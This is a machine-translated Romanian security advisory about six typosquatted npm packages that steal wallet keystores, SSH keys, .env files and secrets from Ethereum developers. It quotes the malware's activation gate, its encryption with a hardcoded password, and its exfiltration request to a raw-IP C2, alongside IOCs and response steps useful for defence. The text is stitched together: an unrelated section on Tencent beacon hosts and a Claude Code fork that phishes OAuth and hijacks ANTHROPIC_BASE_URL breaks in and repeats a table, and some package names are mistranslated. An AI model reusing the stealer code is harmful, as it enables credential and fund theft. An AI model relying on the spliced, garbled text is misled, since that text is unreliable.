Atacul EVMDeFi npm Typosquatting fură chei de dezvoltatori

Atacul de tip typosquatting EVM/DeFi npm fură cheile dezvoltatorilor

TL; DR

Pe 6 mai 2026, un singur editor npm, namikazesarada010206a lansat șase pachete malițioase care vizau ecosistemul dezvoltatorilor Ethereum, Solidity și DeFi.

Pachetele, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils și web3-utils-core, a folosit nume plauzibile concepute să arate ca biblioteci helper pentru instrumente Web3 populare.

Toate cele șase pachete conțineau același telemetry.js fișier. Fișierul avea același număr de octeți în tot clusterul, cu SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Programul malware nu se execută în momentul instalării. Nu există preinstall or postinstall hook. În schimb, se activează atunci când pachetul este importat prin require().

Acel detaliu contează.

Implantul așteaptă până când un dezvoltator folosește efectiv pachetul. Apoi verifică dacă stația de lucru arată ca un mediu de dezvoltare Ethereum / Solidity real. Caută chei Alchemy sau Infura, chei private, mnemonice, chei de implementare sau un director Foundry local.

Dacă gazda se potrivește, furtul colectează chei private SSH, keystore-uri pentru portofelele Foundry / Geth / Brownie. .env* fișiere și variabile de mediu sensibile. Criptează pachetul cu AES-256-GCM folosind o parolă hardcoded și îl exfiltrează către un endpoint IPv4 C2 brut cu verificarea TLS dezactivată.

Sistemul de avertizare timpurie împotriva programelor malware (MEW) al Xygeni a confirmat că toate cele șase pachete sunt rău intenționate. Pachetul de raportare privind eliminarea registrului npm este în așteptare.

Clusterul: Șase pachete, un editor

Contul editorului namikazesarada010206 a fost asociată adresei Gmail neverificate namikazesarada010206@gmail.com.

Campania a apărut ca o rafală de publicare de o singură zi pe 6 mai 2026. Toate cele șase pachete au fost versionate ca 1.0.0, nu avea dependențe de execuție și livra doar trei fișiere:

package.json index.js telemetry.js

De asemenea, au declarat același depozit sursă:

https://github.com/harunosakura030303-maker/evmchain-config

Primele trei pachete au fost detectate de scanerele MEW la prima publicare. Celelalte trei au fost semnalizate forțat după analiza analitică a profilului npm al editorului. Odată ce aceleași octeți identici... telemetry.js a fost confirmată în întregul cluster, acestea au fost închise ca fiind rău intenționate prin consecvență.

Pachet Versiune Publicat de npm Bilet MEW Verdict
Viem Core 1.0.0 2026-05-06 01:38:44Z #51049 Rău
viem-utils-core 1.0.0 2026-05-06 #51050 Rău
hardhat-core-utils 1.0.0 2026-05-06 #51051 Rău
evm-utils 1.0.0 2026-05-06 #51069 Rău intenționat, prin consecvență
utilitare de turnătorie 1.0.0 2026-05-06 #51071 Rău intenționat, prin consecvență
web3-utils-core 1.0.0 2026-05-06 #51070 Rău intenționat, prin consecvență

Strategia de denumire este simplă, dar eficientă.

Aceste pachete nu imit nume exacte din amonte. În schimb, folosesc sufixe plauzibile de „utilitate”, cum ar fi -core, -utils și -utils-coreAsta le face să pară biblioteci însoțitoare pe care un dezvoltator s-ar putea aștepta să le vadă în apropierea instrumentelor Web3.

Pachet rău intenționat Țintă legitimă
Viem Core viem, un client popular Ethereum TypeScript
viem-utils-core Viem
hardhat-core-utils hardhat, un mediu de dezvoltare Solidity mainstream
evm-utils Spațiu de nume generic pentru instrumente EVM
utilitare de turnătorie turnătorie, un lanț de instrumente Solidity
web3-utils-core web3-utils, instrumente de asistență Web3.js

Acesta este modelul „pachetului suplimentar”: nu „Eu sunt pachetul real”, ci „Par un ajutor rezonabil în preajma pachetului real”.

Pentru dezvoltatorii DeFi care se mișcă rapid, acest lucru este suficient pentru a crea riscuri.

Ce se întâmplă când pachetul este importat

Lanțul de atac este mic, deliberat și concentrat pe mediile de dezvoltare criptografică.

Nu există cârlig de instalare. În schimb, fiecare pachet include un index.js care exportă funcționalitatea stub și apoi încarcă modulul de telemetrie malițios.

require('./telemetry').init();

Asta înseamnă că malware-ul se activează la prima importare.

Acest lucru este util din punct de vedere operațional pentru atacator. Multe scanere și sandbox-uri se concentrează pe comportamentul în timpul instalării. Acest pachet așteaptă până când este efectiv utilizat de un dezvoltator, un script de compilare, o suită de teste sau o cale de execuție.

Poarta de activare: Se declanșează doar pe stațiile de lucru reale pentru dezvoltatori Web3

Cea mai importantă parte a implantului este poarta de activare.

Malware-ul verifică variabilele de mediu întâlnite frecvent pe mașinile dezvoltatorilor Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

De asemenea, verifică dacă Foundry pare să fie instalat:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Dacă niciuna dintre condiții nu este adevărată, funcția returnează o valoare și nu face nimic.

Asta face ca pachetul să fie mai silențios în mediile de analiză generice. Un sandbox fără chei Foundry, Alchemy, Infura, chei private sau mnemonice poate avea un import care pare inofensiv.

Pe o gazdă compatibilă, malware-ul așteaptă între 60 și 90 de secunde înainte de colectare:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Întârzierea reduce corelația evidentă dintre import și exfiltrare. .unref() Apelul permite, de asemenea, procesului gazdă să se încheie normal dacă pachetul a fost importat într-un script de scurtă durată.

Acesta nu este un comportament zgomotos de tip „smash-and-grab”. Este un furt direcționat, conceput pentru a evita rularea, cu excepția cazului în care mediul de dezvoltare merită să fie furat.

Ce colecționează hoțul

Odată ce trece poarta de activare, malware-ul colectează date din sursele cele mai importante în dezvoltarea Web3: chei private, keystore-uri pentru portofele, acreditări de implementare, secrete în cloud, token-uri npm și configurația proiectului local.

Sursa Ce se colectează
proces.env Orice variabilă care se potrivește /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fișiere care conțin PRIVATE KEY sau BEGIN OPENSSH, inclusiv conținutul complet al fișierului
~/.foundry/keystores/* Fișierele keystore ale portofelului Foundry
~/.ethereum/keystore/* Fișierele keystore ale portofelului Geth
~/.brownie/accounts/* Fișiere keystore pentru portofelul Brownie
${cwd}/.env Conținutul complet al fișierului
${cwd}/.env.local Conținutul complet al fișierului
${cwd}/.env.production Conținutul complet al fișierului
${cwd}/.env.development Conținutul complet al fișierului
os.hostname() Metadatele gazdei
crypto.randomUUID() Identificator victimă/sesiune
Data.now() Marcaj temporal al colecției
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Jetoanele ATTA sunt:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nu am putut confirma dacă datele telemetrice reprezentau propriile analize ale operatorului sau un canal monetizat separat. Token-urile ATTA sunt aceleași în ambele mostre examinate.

Grupul B: heibai

claude.hk OAuth Phishing + Deturnare ANTHROPIC_BASE_URL

Eșantionul din 1 aprilie este ramura mai rudimentară, mai timpurie, a campaniei.

heibai:2.1.88-claude.hk-4 a fost publicat de wuguoqiangvip28, un cont creat pe 7 iunie 2025. Pachetul s-a auto-versificat explicit în funcție de datele legitime 2.1.88 Eliberare antropică.

Nu se ocupă de MITM-ul certificat CA. În schimb, minte utilizatorul în legătură cu endpoint-ul OAuth.

Printre adăugirile rău intenționate care se adaugă la sursa Claude Code divulgată se numără:

Sursa Ce se colectează
proces.env Orice variabilă care se potrivește /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Fișiere care conțin PRIVATE KEY sau BEGIN OPENSSH, inclusiv conținutul complet al fișierului
~/.foundry/keystores/* Fișierele keystore ale portofelului Foundry
~/.ethereum/keystore/* Fișierele keystore ale portofelului Geth
~/.brownie/accounts/* Fișiere keystore pentru portofelul Brownie
${cwd}/.env Conținutul complet al fișierului
${cwd}/.env.local Conținutul complet al fișierului
${cwd}/.env.production Conținutul complet al fișierului
${cwd}/.env.development Conținutul complet al fișierului
os.hostname() Metadatele gazdei
crypto.randomUUID() Identificator victimă/sesiune
Data.now() Marcaj temporal al colecției

Lista de ținte este foarte specifică. Nu este vorba de furt generic de browser sau de extragerea de date cu caractere autentificate în mod general. Se adresează dezvoltatorilor care construiesc, testează, implementează sau operează aplicații Ethereum.

Includerea keystore-urilor Foundry, Geth și Brownie este deosebit de importantă. Aceste fișiere pot reprezenta acces direct la portofele sau identități de implementare. Dacă atacatorul le poate asocia cu parole, mnemonice sau secrete de mediu, este posibil să poată muta fonduri, să se dea drept implementatori sau să compromită operațiunile contractelor inteligente.

Criptare înainte de exfiltrare

Malware-ul criptează datele colectate înainte de a le trimite.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Parola codificată fix este:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Sarcina finală este încapsulată ca JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Criptarea nu face ca malware-ul să fie mai avansat în sine. Cu toate acestea, îngreunează inspecția rețelei. Un apărător care supraveghează ieșirea ar vedea o utilă JSON, dar nu cheile furate, fișierele portofelului sau .env conținut fără parola codificată fix și logica de decriptare.

Exfiltrare către un C2 IPv4 brut

Calea de exfiltrare este codificată fix:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware-ul trimite date către:

https://76.13.37.80:8443/api/v1/telemetry

Două detalii ies în evidență.

În primul rând, C2 este o adresă IPv4 brută, nu un domeniu. Acest lucru elimină necesitatea înregistrării domeniului și evită unele detectări bazate pe domeniu.

În al doilea rând, verificarea TLS este dezactivată cu:

rejectUnauthorized: false

Aceasta permite malware-ului să accepte orice certificat, inclusiv certificate autosemnate. Cu alte cuvinte, atacatorul obține transport criptat fără a fi nevoie de un certificat public valid.

Nu există logică de reîncercare și nici gazdă de rezervă. Erorile sunt înghițite silențios. Acest lucru menține pachetul silențios dacă C2 este offline sau inaccesibil.

De ce contează această campanie

Majoritatea pachetelor npm rău intenționate destinate dezvoltatorilor urmăresc acreditări largi: token-uri npm, chei AWS, token-uri GitHub sau .npmrc fișiere.

Această campanie restrânge ținta.

Caută semne că mașina aparține unui dezvoltator Ethereum sau Solidity. Apoi extrage exact activele care contează în acel mediu: keystore-uri pentru portofel, chei private, mnemonice, chei de implementare. .env fișiere și chei SSH.

Asta face ca această campanie să fie mai periculoasă pentru echipele Web3 decât un hoț generic de NPM.

O infecție reușită ar putea expune:

  • Portofele de implementare
  • Chei de administrare a contractelor inteligente
  • Cheile furnizorului RPC
  • Acreditări de implementare în cloud
  • token-uri de publicare npm
  • Acces SSH la infrastructura dezvoltatorului sau a constructorului
  • Secretele proiectului stocate în .env fișiere
  • Depozite de chei pentru portofel pentru Foundry, Geth sau Brownie

Numele pachetelor demonstrează, de asemenea, inginerie socială clară. Acestea vizează ecosistemul dezvoltatorilor Web3 prin intermediul unor nume de instrumente familiare: viem, hardhat, foundry, evm și web3.

Actorul nu trebuie să compromită proiectele reale. Are nevoie doar de un dezvoltator care să instaleze ceea ce pare a fi un pachet însoțitor rezonabil.

Indicatori de compromis și detectare

Pachete și editor
Câmp Valoare
editor npm namikazesarada010206
Adresă de e-mail a editorului namikazesarada010206@gmail.com
e-mail verificat Nu
SCM verificat Nu
Scorul de reputație 1.0
Pachete viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versiuni Toate 1.0.0
Depozit sursă https://github.com/harunosakura030303-maker/evmchain-config
Confirmat ca fiind rău intenționat Toate cele șase pachete
Reţea
Tip Valoare
Punct final C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Portul C2 8443 / tcp
Comportamentul TLS respingereNeautorizat: fals
Schema de sarcină utilă {"v":2,"iv": „d”: ,"t": }
Fișiere și hash-uri
Tip Valoare
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Aspectul pachetului package.json, index.js, telemetry.js
Număr de fișiere 3
Dimensiune totală aproximativă 3.4 KB

Semnale de activare

Malware-ul verifică aceste variabile de mediu:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

De asemenea, verifică:

~/.foundry/

Căi gazdă vizate

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Expresie regulată pentru colecții

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Note de detectare

Mai multe reguli se aplică acestei campanii fără a fi nevoie de o analiză comportamentală completă.

Mai întâi, scanați fișierele de blocare pentru cele șase nume de pachete rău intenționate:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Orice meci în package-lock.json, yarn.lock, pnpm-lock.yaml, node_modules Istoria ar trebui tratată ca un incident grav.

În al doilea rând, monitorizați procesele Node.js care citesc căile keystore-ului din portofel:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Acesta este rareori un comportament legitim pentru un pachet importat ca dependență helper. Este deosebit de suspect atunci când este urmat de activitate de rețea în ieșire.

În al treilea rând, blocați sau alertați conexiunile HTTPS către:

76.13.37.80:8443

Mai ales când calea cererii este:

/api/v1/telemetry

În al patrulea rând, căutați pachete npm care combină aceste caracteristici:

  • Editor nou sau cu reputație scăzută
  • Cont Gmail neverificat
  • Numele pachetului adiacent Web3
  • Niciun istoric semnificativ al depozitului
  • Aspectul pachetului mic
  • index.js care încarcă un fișier de telemetrie sau un fișier de ajutor
  • Fără dependențe de execuție
  • Colecție de variabile de mediu sensibile
  • Acces la depozitul de chei al portofelului

Acest model este mai util decât un singur IOC deoarece următorul pachet poate schimba adresa IP, dar poate păstra aceeași logică de direcționare.

Listă de verificare pentru răspunsul la compromis

Dacă un dezvoltator a folosit unul dintre cele șase pachete și mediul său se potrivește cu poarta de activare, stația de lucru este tratată ca fiind compromisă.

Aceasta include mașini cu Foundry instalat, chei Alchemy sau Infura în mediu, chei private, mnemonice sau chei de implementare.

Răspuns recomandat:

  • Deconectați gazda de la rețea.
  • păstra node_modules, fișiere de blocare, istoricul shell-ului și jurnale relevante pentru analize criminalistice.
  • Rotește fiecare pereche de chei SSH de sub ~/.ssh/.
  • Rotește cheile portofelului pentru fiecare depozit de chei din ~/.foundry, ~/.ethereum și ~/.brownie.
  • Mută ​​fonduri în portofele noi.
  • Rotește fiecare secret stocat în .env* fișiere din depozitele în care a lucrat dezvoltatorul.
  • Rotește secretele de mediu care corespund expresiei regulate a colecției, inclusiv cheile AWS, token-urile npm, token-urile de implementare, cheile API, cheile private, valorile seed și mnemonicele.
  • Auditează activitatea din cloud, npm, GitHub, furnizorul RPC și blockchain de la prima instalare a pachetului.
  • Refaceți imaginea stației de lucru înainte de reutilizare.

Ce ar trebui să rețină apărătorii

Această campanie arată cum evoluează typosquatting-ul npm în ecosistemele dezvoltatorilor cu valoare ridicată.

Actorul nu avea nevoie de persistență. Nu avea nevoie de ofuscare. Nici măcar nu avea nevoie de execuție în timpul instalării.

În schimb, s-au bazat pe trei lucruri:

  • Nume plauzibile de pachete Web3
  • Activare doar pe mașini reale de dezvoltare criptografică
  • Furtul direct al fișierelor și secretelor care contează cel mai mult pentru dezvoltatorii Ethereum

Asta face ca campania să fie ușor de ratat în scanarea generală și periculoasă atunci când ajunge în mediul potrivit.

Pentru echipele Web3, lecția este clară: tratați numele dependențelor ca parte a modelului dvs. de amenințare. Un pachet care arată ca un helper inofensiv poate deveni în continuare cea mai scurtă cale către compromiterea portofelului.

Raportat la registrul npm. Vom actualiza această postare când contul de editor și pachetele vor fi eliminate.

sca-tools-software-instrumente-de-analiză-a-compoziției
Prioritizați, remediați și securizați riscurile software
Obține-ți contul gratuit.
Nu este necesar un card de credit.

Securizează-ți dezvoltarea și livrarea de software

cu suita de produse Xygeni